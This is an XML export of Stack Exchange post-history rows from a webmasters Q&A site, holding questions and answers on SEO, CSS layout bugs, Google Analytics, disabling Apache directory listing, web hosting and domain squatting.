  <row Id="18458" PostHistoryTypeId="3" PostId="8520" RevisionGUID="c8655e5e-463a-4d11-85c1-d2b9194086c9" CreationDate="2011-01-31T21:59:40.130" UserId="5048" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;hyperlink&gt;" />
  <row Id="18459" PostHistoryTypeId="17" PostId="8522" RevisionGUID="caf744a7-fb14-4c5f-b0cd-4a4226b45f8f" CreationDate="2011-01-31T22:58:25.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4840121/do-search-engines-use-the-ids-and-classes-of-html-elements-as-clues/4840178#4840178" Text="" />
  <row Id="18460" PostHistoryTypeId="17" PostId="8523" RevisionGUID="bc054722-aa7f-4018-bb08-ae5e8157cbad" CreationDate="2011-01-31T22:58:25.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4840121/do-search-engines-use-the-ids-and-classes-of-html-elements-as-clues/4840264#4840264" Text="" />
  <row Id="18461" PostHistoryTypeId="17" PostId="8524" RevisionGUID="409c175f-4b0c-4c4d-9754-f2d014d40d19" CreationDate="2011-01-31T22:58:25.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4840121/do-search-engines-use-the-ids-and-classes-of-html-elements-as-clues/4840304#4840304" Text="" />
  <row Id="18462" PostHistoryTypeId="2" PostId="8522" RevisionGUID="8be4d422-6e0e-45fe-942c-dbc60590e853" CreationDate="2011-01-29T23:40:37.897" UserId="657" Text="I don't think so because that would bring about a lot of false positives. I suspect they could have some advanced method where they detect the most immediate element/parent of text nodes and another advanced algorithm to see if the name/id corresponds with a list such as ['content', 'main-content'].&#xD;&#xA;&#xD;&#xA;But seeing as how every site has a different id/name and some sites even lack it, I don't think they rely on that as much, if not at all. &#xD;&#xA;&#xD;&#xA;You should always use the most semantic/meaningful value for an id/class anyway, **regardless** of what the SE/spider does. It would absolutely not make sense for an SE/spider to devalue/demerit solely based on the id/class value changing or not being a certain value." />
  <row Id="18463" PostHistoryTypeId="2" PostId="8523" RevisionGUID="245278df-745c-4962-9165-ac62e2152ab6" CreationDate="2011-01-29T23:58:40.130" UserDisplayName="Tom" Text="I've never come across any evidence for this.&#xD;&#xA;&#xD;&#xA;I think you're safe assuming it won't bring you any extra SEO benefits as it's something that anyone could do (regardless of the domain or content). You're best off focusing your energies into things that will certainly help: ensuring your pages well-optimised for your target queries, ensuring you've got lots of unique and regularly-updating content, and generating inbound links.&#xD;&#xA;&#xD;&#xA;Your SEO success will not come down to hackery or doing clever little tweaks that give you some secret edge. It's just about lots of good content, organised in a way that makes sense for crawlers, and building as many links as you can to your pages with good anchor text.&#xD;&#xA;&#xD;&#xA;Source: personal experience working with big sites" />
  <row Id="18464" PostHistoryTypeId="2" PostId="8524" RevisionGUID="9348686f-ab22-4399-89df-bbc5b1b51d64" CreationDate="2011-01-30T00:06:47.007" UserDisplayName="Nathan Anderson" Text="I have heard nothing to suggest they do, otherwise someone in the SEO industry would have said something by now (they'd be famous!).  Per the W3C specs the `class` and `id` attributes are not intended to provide semantic meaning the way `title` or `alt` does, they are really there just for developers / designers.&#xD;&#xA;&#xD;&#xA;You may find this interesting, Google did a [Web Authoring Statistics][1] survey.  It shows the usage of all different kinds of elements, classes, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/webstats/index.html" />
  <row Id="18465" PostHistoryTypeId="2" PostId="8521" RevisionGUID="5410b8e8-e7c3-4de6-9c7e-8761224c7383" CreationDate="2011-01-29T23:26:14.453" UserDisplayName="PhantomVader" Text="This is more for interest sake than anything else, since I assume it will make very little difference, but I was wondering whether there is any evidence that search engines (Google, Yahoo!, Bing, for example) use the class names and id's of HTML elements as clues to the content? &#xD;&#xA;&#xD;&#xA;Would it make any difference, say, to change `id=&quot;left_column&quot;` to `id=&quot;news_column&quot;` ?" />
  <row Id="18466" PostHistoryTypeId="1" PostId="8521" RevisionGUID="5410b8e8-e7c3-4de6-9c7e-8761224c7383" CreationDate="2011-01-29T23:26:14.453" UserDisplayName="PhantomVader" Text="Do search engines use the id's and classes of HTML elements as clues?" />
  <row Id="18467" PostHistoryTypeId="3" PostId="8521" RevisionGUID="5410b8e8-e7c3-4de6-9c7e-8761224c7383" CreationDate="2011-01-29T23:26:14.453" UserDisplayName="PhantomVader" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="18468" PostHistoryTypeId="17" PostId="8521" RevisionGUID="46a51ce6-acc6-4912-836a-e8022122ec82" CreationDate="2011-01-31T22:58:25.127" UserId="-1" Comment="from http://stackoverflow.com/questions/4840121/do-search-engines-use-the-ids-and-classes-of-html-elements-as-clues" Text="" />
  <row Id="18470" PostHistoryTypeId="2" PostId="8525" RevisionGUID="14bc1cde-d96d-49a9-852a-031c78e71076" CreationDate="2011-01-31T23:21:08.420" UserId="3382" Text="Chrome:&#xD;&#xA;&#xD;&#xA;1. Press CTRL + SHIFT + I to open the Developer Tools. &#xD;&#xA;2. Click on the &quot;Open console.&quot; icon in the bottom left corner. &#xD;&#xA;&#xD;&#xA;IE9: &#xD;&#xA;&#xD;&#xA;1. Press F12 to open the developer tools.&#xD;&#xA;2. Open the Script tab, click the &quot;Console&quot; button on the right. &#xD;&#xA; &#xD;&#xA;What about Firefox 4 (beta), Opera 11 and Safari 5?" />
  <row Id="18471" PostHistoryTypeId="1" PostId="8525" RevisionGUID="14bc1cde-d96d-49a9-852a-031c78e71076" CreationDate="2011-01-31T23:21:08.420" UserId="3382" Text="How to open the console in different browsers?" />
  <row Id="18472" PostHistoryTypeId="3" PostId="8525" RevisionGUID="14bc1cde-d96d-49a9-852a-031c78e71076" CreationDate="2011-01-31T23:21:08.420" UserId="3382" Text="&lt;browsers&gt;" />
  <row Id="18473" PostHistoryTypeId="2" PostId="8526" RevisionGUID="7fdd7120-c8c8-441d-9013-5cf713ccac1e" CreationDate="2011-01-31T23:30:20.473" UserId="1658" Text="I have some pretty simple html&#xD;&#xA;which is meant to make a layout as below.&#xD;&#xA;&#xD;&#xA;To push the tabs down from the userbar I am using  &#xD;&#xA;`margin-top: 35px;`  &#xD;&#xA;However in internet explorer the tabs are completly misaligned(the top of the tabs is where the bottom should be).&#xD;&#xA;&#xD;&#xA;So I need to use `margin-top: -50px;` for internet explorer.&#xD;&#xA;&#xD;&#xA;Why is this and how can I fix it without using a ie specific stylesheet  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://webspirited.com/layout.png&quot; alt=&quot;layout example&quot; /&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;pageHead&quot;&gt;&#xD;&#xA;      &lt;div id=&quot;userBar&quot;&gt;&#xD;&#xA;        &lt;span class=&quot;bold&quot;&gt;Hi Matthew Hailwood | &lt;a href=&quot;#&quot;&gt;Logout&lt;/a&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;      &lt;a href=&quot;http://localhost/buzz/&quot; id=&quot;pageLogo&quot;&gt;&lt;/a&gt;  &#xD;&#xA;      &lt;div id=&quot;pageTabs&quot; class=&quot;clearfix&quot;&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;          &lt;li&gt;&lt;a href=&quot;http://localhost/buzzil/templates&quot;&gt;Templates&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;          &lt;li&gt;&lt;a href=&quot;http://localhost/buzzil/messaging&quot;&gt;Messaging&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;          &lt;li&gt;&lt;a href=&quot;http://localhost/buzzil/contacts&quot;&gt;Contacts&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;With the css being &#xD;&#xA;&#xD;&#xA;    #pageHead {&#xD;&#xA;        height: 100px;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pageLogo {&#xD;&#xA;        float: left;&#xD;&#xA;        width: 149px;&#xD;&#xA;        height: 77px;&#xD;&#xA;        margin-top: 11px;&#xD;&#xA;        background: transparent url('../images/logo.png') no-repeat;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #userBar {&#xD;&#xA;        text-align: right;&#xD;&#xA;        color: #fff;&#xD;&#xA;        margin-top: 10px;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #userBar a:link,&#xD;&#xA;    #userBar a:visited,&#xD;&#xA;    #userBar a:active {&#xD;&#xA;        font-weight: normal;&#xD;&#xA;        color: #E0B343;&#xD;&#xA;        text-decoration: none;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    .clearfix:after {&#xD;&#xA;        content: &quot;.&quot;;&#xD;&#xA;        display: block;&#xD;&#xA;        clear: both;&#xD;&#xA;        visibility: hidden;&#xD;&#xA;        line-height: 0;&#xD;&#xA;        height: 0;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    .clearfix {&#xD;&#xA;        display: inline-block;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    html[xmlns] .clearfix {&#xD;&#xA;        display: block;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    * html .clearfix {&#xD;&#xA;        height: 1%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pageTabs {&#xD;&#xA;        float: right;&#xD;&#xA;        margin-top: 35px;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pageTabs ul {&#xD;&#xA;        position: relative;&#xD;&#xA;        width: 100%;&#xD;&#xA;        list-style: none;&#xD;&#xA;        margin: 0;&#xD;&#xA;        padding: 0;&#xD;&#xA;        border-left: 1px solid #000;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pageTabs ul li {&#xD;&#xA;        float: right;&#xD;&#xA;        background: url(../images/tabsBg.png) no-repeat 0% 0%;&#xD;&#xA;        border-left: 1px solid #000;&#xD;&#xA;        margin-left: -1px;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pageTabs ul li a:link,&#xD;&#xA;    #pageTabs ul li a:visited,&#xD;&#xA;    #pageTabs ul li a:active {&#xD;&#xA;        color: #fff;&#xD;&#xA;        background: url(../images/tabsBg.png) no-repeat 100% 0%;&#xD;&#xA;        display: block;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        font-weight: bold;&#xD;&#xA;        line-height: 42px;&#xD;&#xA;        text-transform: uppercase;&#xD;&#xA;        padding: 4px 32px;&#xD;&#xA;        text-decoration: none;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pageTabs ul li a:hover,&#xD;&#xA;    #pageTabs ul li a:focus {&#xD;&#xA;        text-decoration: underline;&#xD;&#xA;    }" />
  <row Id="18474" PostHistoryTypeId="1" PostId="8526" RevisionGUID="7fdd7120-c8c8-441d-9013-5cf713ccac1e" CreationDate="2011-01-31T23:30:20.473" UserId="1658" Text="Internet Explorer and margins" />
  <row Id="18475" PostHistoryTypeId="3" PostId="8526" RevisionGUID="7fdd7120-c8c8-441d-9013-5cf713ccac1e" CreationDate="2011-01-31T23:30:20.473" UserId="1658" Text="&lt;html&gt;&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="18476" PostHistoryTypeId="2" PostId="8527" RevisionGUID="53ea0b61-27e4-461e-b2a2-0db6049d90a6" CreationDate="2011-01-31T23:43:35.923" UserId="1253" Text="In your example both are exactly the same thing so no preference would be given to one or the other. The only time you can run into options is when you use `/index.php` and `http://www.mydomain.com` as they would then be considered two different URLs and duplicate content issues would arise. That's when canonical URLs would need to be used. " />
  <row Id="18477" PostHistoryTypeId="10" PostId="8526" RevisionGUID="62972a19-3a27-41b2-b6ce-06133a75d76e" CreationDate="2011-01-31T23:44:58.323" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18478" PostHistoryTypeId="2" PostId="8528" RevisionGUID="f7d25091-e112-41fd-8f64-ed9aa744f7e1" CreationDate="2011-01-31T15:44:14.530" UserDisplayName="Zakir Sajib" Text="I am working in one project in wordpress environment and I have the opportunity to work with youtube video, fancybox etc.&#xD;&#xA;&#xD;&#xA;I have embedded the youtube image from youtube server which is &quot;http://img.youtube.com/vi/0.jpg&quot;, now there is no play button shows up on middle of the image as we see usually any youtube videos! &#xD;&#xA;&#xD;&#xA;I tried to use the following code to get an image on top of the youtube image but it shows bigger picture, i know why&#xD;&#xA;&#xD;&#xA;    &lt;a class=&quot;fancybox&quot; href=&quot;#video&quot;&gt;&#xD;&#xA;    &lt;img src=&quot;/wp-content/themes/mytheme/images/play_button.png&quot; no-repeat width: 0px height:0px; style=&quot;background: url(http://img.youtube.com/vi/&lt;?php echo $youtubeid ; ?&gt;/0.jpg) transparent&quot; width=&quot;180&quot; height=&quot;150&quot;/&gt;&#xD;&#xA;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div id =&quot;video&quot;&gt;&#xD;&#xA;    // here is my embedded youtube usual code&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;both images shown in 180 x 150 size, but thats not what i want. &#xD;&#xA;&#xD;&#xA;I want youtube image will be shown in 180 x 150 size and play button image (play_button.png) will be display in middle of the youtube image in small size.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any clue in css or coding in php will be great favour.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18479" PostHistoryTypeId="1" PostId="8528" RevisionGUID="f7d25091-e112-41fd-8f64-ed9aa744f7e1" CreationDate="2011-01-31T15:44:14.530" UserDisplayName="Zakir Sajib" Text="How to display/add play button on youtube image ?" />
  <row Id="18480" PostHistoryTypeId="3" PostId="8528" RevisionGUID="f7d25091-e112-41fd-8f64-ed9aa744f7e1" CreationDate="2011-01-31T15:44:14.530" UserDisplayName="Zakir Sajib" Text="&lt;youtube&gt;" />
  <row Id="18481" PostHistoryTypeId="17" PostId="8528" RevisionGUID="4fb89ad1-1f6f-46e7-badd-adb3a190bc82" CreationDate="2011-01-31T23:59:24.607" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/8208/how-to-display-add-play-button-on-youtube-image" Text="" />
  <row Id="18482" PostHistoryTypeId="2" PostId="8529" RevisionGUID="077b4d88-4781-498a-b766-3f4681e34e43" CreationDate="2011-02-01T01:11:10.607" UserId="5051" Text="I'm new to Google Analytics and I'm wondering if it would be cleaner to user virtual pageviews for all the goal tracking on my website instead of using a mix of regular page views and virtual pageviews.  &#xD;&#xA;&#xD;&#xA;I know in most cases this is just semantics but there are multiple pages where the same goal can be achieved and I think it would be cleaner just to fire the same virtual pageview instead of having two different goal pages.  Will this model also give developers more flexibility when they do development?  I know we are moving to a CMS and urls can get hairy, so I think this might be a good way to make analytics portion of the site &quot;future proof&quot;.&#xD;&#xA;&#xD;&#xA;Any thoughts are appreciated!  Thanks.&#xD;&#xA;" />
  <row Id="18483" PostHistoryTypeId="1" PostId="8529" RevisionGUID="077b4d88-4781-498a-b766-3f4681e34e43" CreationDate="2011-02-01T01:11:10.607" UserId="5051" Text="Use virtual pageviews for all goal tracking" />
  <row Id="18484" PostHistoryTypeId="3" PostId="8529" RevisionGUID="077b4d88-4781-498a-b766-3f4681e34e43" CreationDate="2011-02-01T01:11:10.607" UserId="5051" Text="&lt;google-analytics&gt;" />
  <row Id="18485" PostHistoryTypeId="2" PostId="8530" RevisionGUID="5b709717-c6ec-45de-88cd-a94186b12402" CreationDate="2011-02-01T01:13:57.930" UserId="5052" Text="On my server (over which I have little control), directories are listed by default, so for `mysite.com/images` I get:&#xD;&#xA;&#xD;&#xA;&gt; **Index of /images**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Parent Directory   &#xD;&#xA;&gt; BirdsAreHere.png  &#xD;&#xA;&gt; CanYouSpot-AdBlank.jpg  &#xD;&#xA;&#xD;&#xA;etc. Is putting an index.html in that directory enough to prevent people listing the files, or is there still a way of getting at that list? Is it the same for my web root directory (`mysite.com`)? " />
  <row Id="18486" PostHistoryTypeId="1" PostId="8530" RevisionGUID="5b709717-c6ec-45de-88cd-a94186b12402" CreationDate="2011-02-01T01:13:57.930" UserId="5052" Text="Is there a way of listing files for a directory if it contains index.html?" />
  <row Id="18487" PostHistoryTypeId="3" PostId="8530" RevisionGUID="5b709717-c6ec-45de-88cd-a94186b12402" CreationDate="2011-02-01T01:13:57.930" UserId="5052" Text="&lt;security&gt;" />
  <row Id="18488" PostHistoryTypeId="5" PostId="8525" RevisionGUID="d49f64f6-297d-455b-8580-515dd3e28171" CreationDate="2011-02-01T01:20:44.433" UserId="3382" Comment="added 52 characters in body" Text="Chrome:&#xD;&#xA;&#xD;&#xA;1. Press CTRL + SHIFT + I to open the Developer Tools. &#xD;&#xA;2. Click on the &quot;Open console.&quot; icon in the bottom left corner. &#xD;&#xA;&#xD;&#xA;IE9: &#xD;&#xA;&#xD;&#xA;1. Press F12 to open the developer tools.&#xD;&#xA;2. Open the Script tab, click the &quot;Console&quot; button on the right. &#xD;&#xA;&#xD;&#xA;Firefox 4:&#xD;&#xA;&#xD;&#xA;1. Press CTRL + SHIFT + K to open the Web console.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;What about Opera 11 and Safari 5?" />
  <row Id="18489" PostHistoryTypeId="2" PostId="8531" RevisionGUID="724b3e6f-9584-4433-8619-989e26134544" CreationDate="2011-02-01T01:47:41.557" UserId="5024" Text="You generally can do this in wp-admin by going to Settings -&gt; General and setting &quot;WordPress Address (URL)&quot; and &quot;Site Address (URL)&quot; to include the subdomain. That said, please read this before do that: http://codex.wordpress.org/Moving_WordPress&#xD;&#xA;&#xD;&#xA;Be forewarned this may break content and it seems going to blog.rgksugan.in just redirects to the main site without forwarding any of the requests:&#xD;&#xA;http://blog.rgksugan.in/blog/2011/01/27/capture-network-packets-java/ and&#xD;&#xA;http://blog.rgksugan.in/2011/01/27/capture-network-packets-java/&#xD;&#xA;both redirect to your front page. This makes me think WP isn't actually installed at blog.rgksugan.in and that the subdomain is just a forwarding DNS record. &#xD;&#xA;&#xD;&#xA;Basically, make sure the site is *actually* hosted at blog.rgjsugan.in before trying to change anything in WP Settings." />
  <row Id="18490" PostHistoryTypeId="2" PostId="8532" RevisionGUID="2480a064-8a76-4692-b7ee-bb5cdd8edc77" CreationDate="2011-02-01T01:53:36.623" UserId="5053" Text="I am looking to start building a website and I am looking for some good web hosting companies that gives the best bang for the buck. &#xD;&#xA;&#xD;&#xA;I had been reading on some websites in regards to some web hosting companies having the inability to run scripts on their servers (jQuery) which causes a big problem since the website I am in the process of making is very jQuery driven.&#xD;&#xA;&#xD;&#xA;Can anyone recommend some good web hosting companies that they had good experience with?&#xD;&#xA;&#xD;&#xA;As of now, I checked out Google's web-hosting service and read up on a few companies from [Top 10 Web Hosting List](http://www.top-10-web-hosting.com/) but would like a few recommendations.  " />
  <row Id="18491" PostHistoryTypeId="1" PostId="8532" RevisionGUID="2480a064-8a76-4692-b7ee-bb5cdd8edc77" CreationDate="2011-02-01T01:53:36.623" UserId="5053" Text="Top web-hosting sites with jQuery support?" />
  <row Id="18492" PostHistoryTypeId="3" PostId="8532" RevisionGUID="2480a064-8a76-4692-b7ee-bb5cdd8edc77" CreationDate="2011-02-01T01:53:36.623" UserId="5053" Text="&lt;web-hosting&gt;&lt;jquery&gt;&lt;web-services&gt;" />
  <row Id="18493" PostHistoryTypeId="25" PostId="8520" RevisionGUID="40dced36-1562-41a1-9cbe-ab090f54d6f1" CreationDate="2011-02-01T02:16:18.163" Comment="http://twitter.com/#!/StackWebmasters/status/32260923154505729" />
  <row Id="18494" PostHistoryTypeId="2" PostId="8533" RevisionGUID="5dcd223a-00c2-4320-871b-e0ac56b5e60f" CreationDate="2011-02-01T02:26:06.970" UserId="5024" Text="jQuery is client-side, so it operates independently of server. Your hosting environment shouldn't really have any effect on how jQuery works (Unless you're doing something unique with AJAX or some other type of JavaScript that interacts with the server)&#xD;&#xA;&#xD;&#xA;Languages such as PHP (The language scripts such as WordPress, Drupal and Joomla! are programmed in), however, *are* server-side and does require special server permissions. Most professional webhosts will have support for whatever server-side scripting language you want to use. " />
  <row Id="18495" PostHistoryTypeId="2" PostId="8534" RevisionGUID="f88fc865-ab0d-430b-9067-add66aae9941" CreationDate="2011-02-01T02:36:26.893" UserId="1253" Text="Putting an index.html file should solve that problem. But if you really want to be sure no one gets the directory list just place an .htaccess file in the root of your www directory with this line in it:&#xD;&#xA;&#xD;&#xA;    Options -Indexes&#xD;&#xA;&#xD;&#xA;That will prevent Apache from listing the files of your directories." />
  <row Id="18496" PostHistoryTypeId="2" PostId="8535" RevisionGUID="9c3e08d5-6916-46bd-8901-7596b2453e65" CreationDate="2011-02-01T04:53:33.930" UserId="529" Text="There are a few things to weigh, and it depends on your goals and priorities. &#xD;&#xA;&#xD;&#xA;I personally tend to prefer to never use pageviews for non-pageview things, and use Google Analytics Event Tracking instead. (Obviously, the views available are less robust than those for Goals, but you can get a similar effect fairly easily with the use of advanced segments.) &#xD;&#xA;&#xD;&#xA;Yes, using virtual pageviews is great for future-proofing if you change your URL scheme or your CMS. &#xD;&#xA;&#xD;&#xA;The one thing where they create a bit of a pain is with navigation path analysis, since they 'break' the natural navigation path. They also 'break' page per visit counts, but that's less important. &#xD;&#xA;&#xD;&#xA;It's also worth noting that having multiple pages that match the same Goal isn't disqualifying, since you can use *VERY* simple Regex to basically include a couple of different URLs in the same Goal (if they are all part of the same Goal. That provides a bit of future proofing, as long as you remember to update the regex when your site is updated. &#xD;&#xA;&#xD;&#xA;One potentially great thing about using Virtual Pageviews is that it makes it *very* simple to build advanced segments for particular virtual URL patterns. (In this instance, I actually prefer to use Events, since they're cleaner.)" />
  <row Id="18497" PostHistoryTypeId="25" PostId="8530" RevisionGUID="e080eb80-9f40-45fc-87de-d41f97d1ecdd" CreationDate="2011-02-01T05:16:17.447" Comment="http://twitter.com/#!/StackWebmasters/status/32306219578294272" />
  <row Id="18498" PostHistoryTypeId="17" PostId="8537" RevisionGUID="ff9ee462-5748-4548-a332-8d9246fa376f" CreationDate="2011-02-01T05:46:34.550" UserId="-1" Comment="from http://superuser.com/questions/240254/how-do-i-get-a-domain-from-a-grabber-without-paying/240256#240256" Text="" />
  <row Id="18499" PostHistoryTypeId="17" PostId="8538" RevisionGUID="a4bbb5f5-9813-4b0b-b68c-3e46fac95bf5" CreationDate="2011-02-01T05:46:34.550" UserId="-1" Comment="from http://superuser.com/questions/240254/how-do-i-get-a-domain-from-a-grabber-without-paying/240259#240259" Text="" />
  <row Id="18500" PostHistoryTypeId="2" PostId="8537" RevisionGUID="c6480012-4236-46d2-bf8d-24be6a7a0727" CreationDate="2011-02-01T04:29:40.443" UserDisplayName="Randolph Potter" Text="You cannot, unless you have a legal claim to the name they're using, and that's relative as well." />
  <row Id="18501" PostHistoryTypeId="2" PostId="8538" RevisionGUID="6dd8d8eb-cc29-4737-bc6d-6e6fb1e5d2ca" CreationDate="2011-02-01T04:34:27.773" UserId="5056" Text="This [Google Answers page on How to Get a Domain Name from a Squatter](http://answers.google.com/answers/threadview?id=463127) has some information that may be helpful.  Some of it is supported by knowledgeable individuals while other information is hearsay.&#xD;&#xA;&#xD;&#xA;Some suggest that you're in for an expensive legal battle, while others assert that if you have a legitimate business reason for wanting the domain and can prove the squatter does not, then you may have a case.&#xD;&#xA;&#xD;&#xA;No matter what, the big question is whether it's cheaper to get the lawyer or cheaper to just pay the squatter.&#xD;&#xA;&#xD;&#xA;**ATTENTION**: The Google Answers link is from 2005!  Things may have changed.&#xD;&#xA;&#xD;&#xA;**UPDATE:** Here is the same question on the StackExchange site Pro Webmasters:  [Purchasing a Domain From a Domain Squatter](http://webmasters.stackexchange.com/questions/4502/purchasing-a-domain-from-a-domain-squatter)." />
  <row Id="18502" PostHistoryTypeId="2" PostId="8536" RevisionGUID="942aec2c-04d7-47fc-92df-c72f66a7f17a" CreationDate="2011-02-01T04:28:12.137" UserDisplayName="Aaron Digulla" Text="A domain grabber has registered a domain that I wanted. All they're doing on the site is display ads. How do I get the domain without paying their extortion fee?" />
  <row Id="18503" PostHistoryTypeId="1" PostId="8536" RevisionGUID="942aec2c-04d7-47fc-92df-c72f66a7f17a" CreationDate="2011-02-01T04:28:12.137" UserDisplayName="Aaron Digulla" Text="How do I get a domain from a grabber without paying?" />
  <row Id="18504" PostHistoryTypeId="3" PostId="8536" RevisionGUID="942aec2c-04d7-47fc-92df-c72f66a7f17a" CreationDate="2011-02-01T04:28:12.137" UserDisplayName="Aaron Digulla" Text="&lt;domains&gt;&lt;domain-registrar&gt;&lt;domain-grabbing&gt;" />
  <row Id="18505" PostHistoryTypeId="17" PostId="8536" RevisionGUID="830bb075-5c96-4a79-b5b7-9f6e48ecabf2" CreationDate="2011-02-01T05:46:34.550" UserId="-1" Comment="from http://superuser.com/questions/240254/how-do-i-get-a-domain-from-a-grabber-without-paying" Text="" />
  <row Id="18506" PostHistoryTypeId="17" PostId="8540" RevisionGUID="6ca0ceb6-73d6-4673-9573-c77c371b2c67" CreationDate="2011-02-01T05:46:53.067" UserId="-1" Comment="from http://superuser.com/questions/240253/how-do-i-check-that-a-domain-is-available-without-triggering-a-grabber/240255#240255" Text="" />
  <row Id="18507" PostHistoryTypeId="17" PostId="8541" RevisionGUID="61aa0d91-58d9-494a-92df-d1d60a4e76cc" CreationDate="2011-02-01T05:46:53.067" UserId="-1" Comment="from http://superuser.com/questions/240253/how-do-i-check-that-a-domain-is-available-without-triggering-a-grabber/240260#240260" Text="" />
  <row Id="18508" PostHistoryTypeId="2" PostId="8540" RevisionGUID="626571d5-b850-43c9-bab5-53a1390e5972" CreationDate="2011-02-01T04:28:33.613" UserDisplayName="Randolph Potter" Text="I never use a web browser address bar to check if a domain exists.&#xD;&#xA;&#xD;&#xA;I use a registrar or a domain search engine like http://www.checkdomain.com or http://www.netsol.com to see if they are available." />
  <row Id="18509" PostHistoryTypeId="2" PostId="8541" RevisionGUID="9b56d9c8-2cf7-4041-99b7-81277d4be3cb" CreationDate="2011-02-01T04:42:37.677" UserId="124" Text="I use `whois`, `nslookup` and similar tools from the command line to check whether a domain is registered." />
  <row Id="18510" PostHistoryTypeId="2" PostId="8539" RevisionGUID="60dd72ea-b26a-4470-ad6f-7889c2af4237" CreationDate="2011-02-01T04:25:48.300" UserDisplayName="Aaron Digulla" Text="A few days ago, I checked whether a domain was available by tying the name in the web browser. Also `host` returned `not found 3(NXDOMAIN)`&#xD;&#xA;&#xD;&#xA;When I tried again today, some domain grabber had snatched it.&#xD;&#xA;&#xD;&#xA;How can I check whether a domain is available without losing to some barely legal &quot;service&quot;?" />
  <row Id="18511" PostHistoryTypeId="1" PostId="8539" RevisionGUID="60dd72ea-b26a-4470-ad6f-7889c2af4237" CreationDate="2011-02-01T04:25:48.300" UserDisplayName="Aaron Digulla" Text="How do I check that a domain is available without triggering a grabber?" />
  <row Id="18512" PostHistoryTypeId="3" PostId="8539" RevisionGUID="60dd72ea-b26a-4470-ad6f-7889c2af4237" CreationDate="2011-02-01T04:25:48.300" UserDisplayName="Aaron Digulla" Text="&lt;dns&gt;&lt;domains&gt;&lt;domain-grabbing&gt;" />
  <row Id="18513" PostHistoryTypeId="17" PostId="8539" RevisionGUID="c613eac9-55bb-40e2-9c05-4aa8373133ee" CreationDate="2011-02-01T05:46:53.067" UserId="-1" Comment="from http://superuser.com/questions/240253/how-do-i-check-that-a-domain-is-available-without-triggering-a-grabber" Text="" />
  <row Id="18518" PostHistoryTypeId="2" PostId="8543" RevisionGUID="bffdc247-6ae8-4e32-a643-18ba8891ed33" CreationDate="2011-02-01T06:29:06.057" UserId="5059" Text="If the domain doesn't get many hits, the person may just give it up to avoid lost revenue. I got my site back after a year from someone who stole it when I did an improper register transfer; granted, it was a low-priority personal site.&#xD;&#xA;&#xD;&#xA;You might have better luck just thinking of a different URL. So long as it's short, catchy, and a Google search result, it might work. Commas work in hostnames, if that helps." />
  <row Id="18519" PostHistoryTypeId="2" PostId="8544" RevisionGUID="171f7bfa-9167-4358-9bf5-37e1eb9c1a41" CreationDate="2011-02-01T07:23:47.737" UserId="5062" Text="Im looking for a html template that has all the different types of html elements, so then I can take this template and start the css process. this way I can look at the full style of the elements without creating the styles for the different elements as I go. I realize I could do this myself but thought that some one else may have already done this or know where to find such a template.&#xD;&#xA;&#xD;&#xA;Thanks for your help." />
  <row Id="18520" PostHistoryTypeId="1" PostId="8544" RevisionGUID="171f7bfa-9167-4358-9bf5-37e1eb9c1a41" CreationDate="2011-02-01T07:23:47.737" UserId="5062" Text="CSS/HTML element formatting template" />
  <row Id="18521" PostHistoryTypeId="3" PostId="8544" RevisionGUID="171f7bfa-9167-4358-9bf5-37e1eb9c1a41" CreationDate="2011-02-01T07:23:47.737" UserId="5062" Text="&lt;html&gt;&lt;css&gt;&lt;template&gt;" />
  <row Id="18522" PostHistoryTypeId="2" PostId="8545" RevisionGUID="da1cfccc-28f2-448e-bcfa-6ead0bf0e9b6" CreationDate="2011-02-01T08:03:29.000" UserId="4424" Text="I am finally going to buy a domain I have been looking at. The domain owner wants me to give him my Godaddy account information and send him the payment via Paypal gift, so that there will be no extra charges. Should this cause suspicion? Does Paypal offer any kind of fraud protection? What is the best way to protect myself from fraud in this situation, without the need for escrow services, such as escrow.com? Any advice welcomed. Thanks. " />
